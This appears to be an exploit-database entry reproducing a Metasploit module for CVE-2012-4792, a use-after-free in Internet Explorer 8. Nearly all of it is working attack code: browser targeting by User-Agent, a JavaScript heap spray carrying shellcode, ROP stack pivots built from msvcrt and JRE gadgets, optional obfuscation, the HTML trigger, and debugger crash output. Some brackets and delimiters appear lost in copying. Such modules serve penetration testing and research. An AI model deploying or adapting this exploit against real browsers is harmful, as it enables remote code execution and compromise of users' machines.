发布 2012-12-31 漏洞条目

Microsoft Internet Explorer – CDwnBindInfo Object Use-After-Free (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RopDb

def initialize(info={})

super(update_info(info,

'Name' => "Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free Vulnerability",

'Description' => %q{

This module exploits a vulnerability found in Microsoft Internet Explorer. A

use-after-free condition occurs when a CDwnBindInfo object is freed by

FollowHyperlink2, but a reference is kept in CDoc. As a result, when the reference

is used again during a page reload, an invalid memory that's controllable is used,

and allows arbitrary code execution under the context of the user.

Please note: This vulnerability has been exploited in the wild targeting

mainly China/Taiwan/and US-based computers.

'License' => MSF_LICENSE,

'Author' =>

[

'eromang',

'mahmud ab rahman',

'sinn3r' #Metasploit

'References' =>

[

[ 'CVE', '2012-4792' ],

[ 'US-CERT-VU', '154201' ],

[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],

[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],

[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],

[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ]

'Payload' =>

{

'Space' => 980,

'DisableNops' => true,

'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets' =>

[

[ 'Automatic', {} ],

[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30

[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30

[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30

[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ] # 0x0c0c0b30

'Privileged' => false,

'DisclosureDate' => "Dec 27 2012",

'DefaultTarget' => 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class)

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt

when '5.1'

os_name = 'Windows XP SP3'

when '5.2'

os_name = 'Windows Server 2003'

when '6.0'

os_name = 'Windows Vista'

when '6.1'

os_name = 'Windows 7'

else

# OS not supported

return nil

end

targets.each do |t|

if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))

print_status("Target selected as: #{t.name}")

return t

end

return nil

end

def ie_heap_spray(my_target, p)

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

# Land the payload at 0x0c0c0b30

js = %Q|

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{my_target['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x300; i++) {

heap_obj.alloc(block);

}

var overflow = nops.substring(0, 10);

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

end

return js

end

def get_payload(t, cli)

code = payload.encoded

# No rop. Just return the payload.

return code if t['Rop'].nil?

=begin

Stack Pivoting to eax:

0:008> db eax

0c0c0b30 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................

0c0c0b40 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................

=end

# Both ROP chains generated by mona.py - See corelan.be

case t['Rop']

when :msvcrt

print_status("Using msvcrt ROP")

if t['Name'] =~ /Windows XP/

stack_pivot = [0x77c15ed6].pack("V") * 54 # ret

stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret

stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c

rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})

else

stack_pivot = [0x77bcba5f].pack("V") * 54 # ret

stack_pivot << [0x77bb4158].pack("V") # pop ebx, #ret

stack_pivot << [0x77bcba5e].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c

rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'2003'})

end

else

print_status("Using JRE ROP")

stack_pivot = [0x7c348b06].pack("V") * 54 # ret

stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret

stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c

rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})

end

return rop_payload

end

def load_exploit_html(my_target, cli)

p = get_payload(my_target, cli)

js = ie_heap_spray(my_target, p)

html = %Q|

<!doctype html>

<html>

<head>

#{js}

function exploit()

{

var e0 = null;

var e1 = null;

var e2 = null;

var arrObject = new Array(3000);

var elmObject = new Array(500);

for (var i = 0; i < arrObject.length; i++)

{

arrObject[i] = document.createElement('div');

arrObject[i].className = unescape("ababababababababababababababababababababa");

}

for (var i = 0; i < arrObject.length; i += 2)

{

arrObject[i].className = null;

}

CollectGarbage();

for (var i = 0; i < elmObject.length; i ++)

{

elmObject[i] = document.createElement('button');

}

for (var i = 1; i < arrObject.length; i += 2)

{

arrObject[i].className = null;

}

CollectGarbage();

try {

e0 = document.getElementById("a");

e1 = document.getElementById("b");

e2 = document.createElement("q");

e1.applyElement(e2);

e1.appendChild(document.createElement('button'));

e1.applyElement(e0);

e2.outerText = "";

e2.appendChild(document.createElement('body'));

} catch(e) { }

CollectGarbage();

for(var i =0; i < 20; i++)

{

arrObject[i].className = unescape("ababababababababababababababababababababa");

}

var eip = window;

var data = "https://www.google.com/settings/account";

eip.location = unescape("%u0b30%u0c0c" + data);

}

</script>

</head>

</form>

</dfn>

</body>

</html>

return html

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

uri = request.uri

print_status("Requesting: #{uri}")

my_target = get_target(agent)

# Avoid the attack if no suitable target found

if my_target.nil?

print_error("Browser not supported, sending 404: #{agent}")

send_not_found(cli)

return

end

html = load_exploit_html(my_target, cli)

html = html.gsub(/^\t\t/, '')

print_status("Sending HTML...")

send_response(cli, html, {'Content-Type'=>'text/html'})

end

=begin

(87c.f40): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400

eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

mshtml!CMarkup::OnLoadStatusDone+0x504:

637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????

0:008> k

ChildEBP RetAddr

020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504

020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47

020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f

020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12

020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb

020bfd78 7e418734 mshtml!GlobalWndProc+0x183

020bfda4 7e418816 USER32!InternalCallWinProc+0x28

020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150

020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306

020bfe7c 01252ec9 USER32!DispatchMessageW+0xf

020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461

020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1

020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab

020bffec 00000000 kernel32!BaseThreadStart+0x37

0:008> r

eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120

eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202

mshtml!CMarkup::OnLoadStatusDone+0x504:

637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????

=end

作者: Metasploit
日期: 2012-12-31
类别: remote
平台: windows

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